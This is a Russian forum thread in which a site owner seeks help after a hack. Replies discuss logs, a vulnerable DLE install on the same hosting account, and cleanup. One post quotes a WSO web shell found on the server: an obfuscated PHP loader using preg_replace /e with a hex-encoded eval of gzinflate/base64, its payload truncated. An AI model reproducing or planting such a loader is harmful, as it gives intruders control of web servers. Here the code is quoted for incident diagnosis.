Форум Сайтостроение Веб-строительство

Сайт взломали, помогите!

1 234
[Удален]
#21

Покупайте нормальный хостинг не жалейте денег.

[Удален]
#22
syrpo:
нашел в подкаталоге файл index.php следующего содержания, это могло быть проблемой?

<?php
$auth_pass = "d61875a33e449c5c705e71b50a57cdd6";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b1pdxrHEjD82fec+x9aE24GYoQA2bkOEli2LNlybMnR4lV+yAADTDQwZGYQkh3996eqepnuWRCyk/u......................................6hJN6vv+H4XL9FdLFUEiippqKn6fwE='\x29\x29\x29\x3B",".");?>

Да, это именно оно. Web shell WSO.

Удалять файл без устранения уязвимости на сайте бесполезно.

Файл будет появляться вновь и вновь в разных местах под разными именами.

syrpo
На сайте с 20.03.2009
Offline
104
syrpo
#23

итак, что следует делать сейчас? админка самописная, никакх cms для этого сайта не использую, однако на этом же аккаунте лежит сайт на DLE, стоит ли его тоже брать во внимание?

возможно такое, что один раз взломали аккаунт и закачали этот файл? и после его удаления все станет прекрасно?

еще к сайту прикреплен форум на phpbb, что делать с ним?

мог этот взлом как-то быть связан с mysql?

Взлом сайта или же Dle взлом Нужна помощь. Гугл не
A
На сайте с 20.08.2010
Offline
775
awasome
#24
syrpo:
однако на этом же аккаунте лежит сайт на DLE, стоит ли его тоже брать во внимание?

Его в первую очередь надо было брать во внимание. Посмотрите его код и по папкам пройдитесь на предмет необычных файлов, ручками

syrpo
На сайте с 20.03.2009
Offline
104
syrpo
#25

дак это отдельный поддомен, который лежит на каталог выше. все равно?

[Удален]
#26

Может хватит уже флуда? меняй хостера и запрещай доступ на ФТП, но перед этим почисти сайт от вируса.

ММ
На сайте с 27.10.2011
Offline
1
Максим Минаев
#27

ТС, меньше бы вы слушали людей которые о ВЕБ безопасности и понятия не имеют.

Повторюсь, смотрите логи. Через них выявите как вас взломали, затем закроете эту багу.

А то вам тут сейчас насоветуют, перебирать DLE ручками, потом phpbb, а окажется, что бага в вашем самописном скрипте.

И не забудьте удалить шелл, а так же поищите их еще, не факт, что вам был залит только один ;)

Google закроет потребительскую версию Twitter рекомендует всем пользователям Google покажет примеры вредоносного
BadBoy
На сайте с 31.01.2005
Offline
308
BadBoy
#28

syrpo, DLE - один из самых дырявых движков в рунете, тем более если он не лицензионный ...

Я на этом собаку съел :)

какая версия ДЛЕ? если 7.5-8.5 - меняйте, обновляйте 9.2 тоже лажа

100% через ДЛЕ ломанули!

WordPress Gutenberg 10.2 несовместим Уникальная активная аудитория ВКонтакте Яндекс обновил базу Яндекс.Картинок
syrpo
На сайте с 20.03.2009
Offline
104
syrpo
#29

еще раз задам вопрос - как можно было ломануть через dle сайтЮ который на другом домене находится??? тобиш на хостинге лежат 2 папки

site1.ru

site2.ru

на одном стоит dle, другой самописный.

и не надо писать мне по поводу флуда, дураку понятно, что закрытие досутпа по фтп уже не решит эту проблему, поскольку был залит шелл.

Клон сайта на моем Интересует примерная стоимость наполнения Как залить файлы с
BadBoy
На сайте с 31.01.2005
Offline
308
BadBoy
#30
syrpo:
как можно было ломануть через dle сайтЮ который на другом домене находится???

при чем тут другой домен?

syrpo:
тобиш на хостинге лежат 2 папки
site1.ru
site2.ru
на одном стоит dle, другой самописный.

по-моему сам и ответил ...

вот если бы на разных хостингах лежали - это был бы вопрос

1 234

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий